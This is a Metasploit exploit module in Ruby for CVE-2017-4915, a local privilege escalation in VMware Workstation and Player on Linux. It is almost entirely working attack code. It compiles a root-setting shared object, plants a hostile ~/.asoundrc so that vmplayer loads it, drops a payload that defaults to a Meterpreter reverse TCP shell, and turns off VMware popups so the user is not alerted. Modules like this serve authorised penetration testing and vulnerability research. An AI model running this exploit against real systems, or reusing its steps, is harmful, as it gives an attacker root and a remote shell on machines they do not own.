##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VMware Workstation ALSA Config File Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in VMware Workstation Pro and
        Player on Linux which allows users to escalate their privileges by
        using an ALSA configuration file to load and execute a shared object
        as root when launching a virtual machine with an attached sound card.

        This module has been tested successfully on VMware Player version
        12.5.0 on Debian Linux 8 Jessie.
      },
      'References'     =>
        [
          [ 'CVE', '2017-4915' ],
          [ 'EDB', '42045' ],
          [ 'BID', '98566' ],
          [ 'URL', 'https://www.securitytracker.com/id/1038525' ],
          [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
          [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
        ],
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jann Horn',    # Discovery and PoC
          'bcoles' # Metasploit
        ],
      'DisclosureDate' => '2017-05-22',
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultOptions' =>
        {
          'AppendExit'  => true,
          'PrependFork' => true,
          'WfsDelay'    => 30,
          'Payload'     => 'linux/x64/meterpreter_reverse_tcp'
        },
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Privileged'     => true,
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'DefaultTarget'  => 1))
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
      OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def mkdir(path)
    vprint_status "Creating '#{path}' directory"
    cmd_exec "mkdir -p #{path}"
    register_dir_for_cleanup path
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def upload_and_compile(path, data, gcc_args='')
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    unless gcc_args.to_s.blank?
      gcc_cmd << " #{gcc_args}"
    end

    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
    chmod path
  end

  def check
    unless command_exists? '/usr/bin/vmplayer'
      print_error 'vmplayer is not installed. Exploitation will fail.'
      return CheckCode::Safe
    end
    vprint_good 'vmplayer is installed'

    unless has_gcc?
      print_error 'gcc is not installed. Compiling will fail.'
      return CheckCode::Safe
    end
    vprint_good 'gcc is installed'

    config = read_file('/etc/vmware/config') rescue ''
    if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
      version = Rex::Version.new $1.gsub(/\.$/, '')
      vprint_status "VMware is version #{version}"
    else
      vprint_error 'Could not determine VMware version.'
      return CheckCode::Detected
    end

    if version >= Rex::Version.new('12.5.6')
      vprint_error 'Target version is not vulnerable'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
    if home_dir.blank?
      fail_with Failure::Unknown, "Could not find user's home directory"
    end

    unless writable? home_dir
      fail_with Failure::BadConfig, "#{home_dir} is not writable"
    end

    # Create a directory for the virtual machine and associated files
    vmx_name = rand_text_alphanumeric(10..15)
    vm_dir = "#{base_dir}/#{vmx_name}"
    mkdir vm_dir

    # Create shared object
    payload_name = rand_text_alphanumeric(10..15)
    so_name = rand_text_alphanumeric(10..15)
    so = <<-EOF
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
Original shared object code by jhorn
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
  uid_t ruid, euid, suid;
  if (getresuid(&ruid, &euid, &suid))
    err(1, "getresuid");
  if (ruid == 0 || euid == 0 || suid == 0) {
    if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
      err(1, "setresxid");
    system("#{vm_dir}/#{payload_name}");
    _exit(0);
  }
}
EOF

    upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99'

    # Create virtual machine
    vmx = <<-EOF
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "#{vmx_name}"
guestOS = "other"
nvram = "#{vmx_name}.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
EOF

    upload "#{vm_dir}/#{vmx_name}.vmx", vmx
    upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe

    # Create ALSA sound config
    asoundrc = <<-EOF
hook_func.pulse_load_if_running {
  lib "#{vm_dir}/#{so_name}.so"
  func "conf_pulse_hook_load_if_running"
}
EOF

    upload "#{home_dir}/.asoundrc", asoundrc

    # Hint popups must be disabled.
    # Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user.
    # Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install.
    #
    # VMware uses '~' to determine the user's home directory when reading the preferences file:
    #   stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory)
    #   open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory)
    #
    # If we're executing in a shell without '~' expansion,
    # then we'll need to create this directory in the current working directory.
    vprint_status 'Disabling VMware popups...'

    unless cmd_exec("test -d ~ && echo true").include? 'true'
      mkdir '~'
    end
    unless cmd_exec("test -d ~/.vmware && echo true").include? 'true'
      mkdir '~/.vmware'
    end

    # Expand '~' to the appropriate full directory path and parse preferences
    prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences"
    unless file? prefs_file
      cmd_exec "touch #{prefs_file}"
      register_file_for_cleanup prefs_file
    end

    prefs = cmd_exec("cat #{prefs_file}").to_s
    if prefs.blank?
      prefs = ".encoding = \"UTF8\"\n"
      prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
      prefs << "hints.hideAll = \"TRUE\"\n"
    elsif prefs =~ /hints\.hideAll/i
      prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
    else
      prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
    end
    vprint_status "Writing config file: #{prefs_file}"
    write_file prefs_file, prefs

    # Launch VMware in the background to prevent the existing session from dying
    print_status 'Launching VMware Player...'
    cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo "
  end
end
